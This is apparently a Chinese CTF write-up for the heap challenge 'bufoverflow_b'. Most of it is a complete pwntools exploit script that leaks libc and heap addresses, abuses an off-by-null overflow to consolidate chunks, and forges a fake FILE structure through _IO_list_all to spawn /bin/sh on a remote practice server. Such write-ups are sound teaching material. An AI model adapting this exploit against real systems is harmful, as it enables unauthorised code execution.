其他部分与 bufoverflow_a一样,但是 b 中多了一个检查:
这里不能输入空字节,这样的话就不能像 a 中直接布置,这样会破坏掉前面的字段,需要倒着布置。还有一个需要注意的就是,在触发 off by null 时 a 中可以一次性的布置好 pre_size 和 pre_inuse 位,但是在本题中则需要先覆盖 next chunk 的 pre_inuse 位,然后再清理填充的字节,布置 pre_size 位,再触发:
# pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit('b'*0x88)
clean(0x80)
edit('a'*0x80 + '\x70\x02\x00')
dele(2) # consolidate 0 1 2
完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
# context.log_level = 'debug'
binary = './bufoverflow_b'
elf = ELF('./bufoverflow_b')
libc = elf.libc
# libc = ELF("./libc.so.6")
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 29870
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
def dbg():
gdb.attach(p)
pause()
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = ">> "
def cmd(i):
ru(menu)
sl(str(i))
def add(size):
cmd(1)
sla("Size: ", str(size))
def dele(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(content):
cmd(3)
ru("Content: ")
se(content)
def show():
cmd(4)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset
def clean(offset):
for i in range(7, -1, -1):
edit('b'*(offset + i) + '\x00')
add(0x80) #0
add(0x80) #1
dele(0)
dele(1)
add(0x80) #0
show()
libc_base = l64() - libc.sym['__malloc_hook'] - 0x68
info("libc_base", libc_base)
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
add(0x400) #1
add(0x80) #2
dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1)
dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, '\x00')) - 0xb0
info("heap_base", heap_base)
dele(0)
dele(1)
# create fake chunk
add(0x208) #0
# fake_chunk = 'a'*0x20
# fake_chunk += p64(0) + p64(0x1e1)
# fake_chunk += p64(heap_base + 0x50) * 2
# fake_chunk = fake_chunk.ljust(0x200, '\x00')
# fake_chunk += p64(0x1e0)
# edit(fake_chunk)
clean(0x200)
edit('a'*0x200 + '\xe0\x01\x00')
clean(0x38)
edit('a'*0x38 + p64(heap_base + 0x50)[0:7])
clean(0x30)
edit('a'*0x30 + p64(heap_base + 0x50)[0:7])
clean(0x28)
edit('a'*0x28 + '\xe0\x01\x00')
add(0x80) #1
add(0xf0) #2
edit('b'*0xf0) # no use
dele(1)
# pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit('b'*0x88)
clean(0x80)
edit('a'*0x80 + '\x70\x02\x00')
dele(2) # consolidate 0 1 2
add(0x290) #2 split from fake_chunk
# pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
# edit(pad)
clean(0x268)
pad = 'a'*0x268 + '\x01\x01\x00'
edit(pad)
# clean(0x260)
clean(0x1d8)
pad = 'a'*0x1d8 + '\x91\x00'
edit(pad)
# clean(0x1d0)
dele(1) # first free inside chunk
dele(0)
add(0x290) #0 split from normal chunk
# pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
# edit(pad)
clean(0xb8)
pad = 'a'*0xb8 + '\x51\x01\x00'
edit(pad)
# clean(0xb0)
clean(0x28)
pad = 'a'*0x28 + '\x91\x00'
edit(pad)
# clean(0x20)
dele(0) # get outside unsorted bin
dele(2) # get inside unsorted bin
add(0x290) # can control unsortedbin which #2 size =0x90 in it
# fake_file = p64(0) + p64(0x60)
# fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
# fake_file += p64(0) + p64(1)
# fake_file += p64(0) + p64(binsh_addr)
# fake_file = fake_file.ljust(0xd8, '\x00')
# fake_file += p64(IO_str_jumps_addr - 8)
# fake_file += p64(0) + p64(system_addr)
payload = 'a'*0x20
# pl += fake_file
# pl += '\n'
# edit(pl)
start = 0x20
clean(start + 0xE8)
edit(payload + 'a'*0xE8 + p64(system_addr)[0:7])
clean(start + 0xE0)
clean(start + 0xD8)
edit(payload + 'a'*0xD8 + p64(IO_str_jumps_addr - 8)[0:7])
for i in range(0xD0,0x38,-8):
#print hex(i)
clean(start + i)
clean(start + 0x38)
edit(payload + 'a'*0x38 + p64(binsh_addr)[0:7])
clean(start + 0x30)
clean(start + 0x28)
edit(payload + 'a'*0x28 + '\x01\x00')
clean(start + 0x20)
clean(start + 0x18)
edit(payload + 'a'*0x18 + p64(IO_list_all_addr-0x10)[0:7])
clean(start + 0x10)
clean(start + 0x8)
edit(payload + 'a'*0x8 + p64(0x60)[0:2])
clean(start + 0)
add(0xa0)
# dbg()
ia()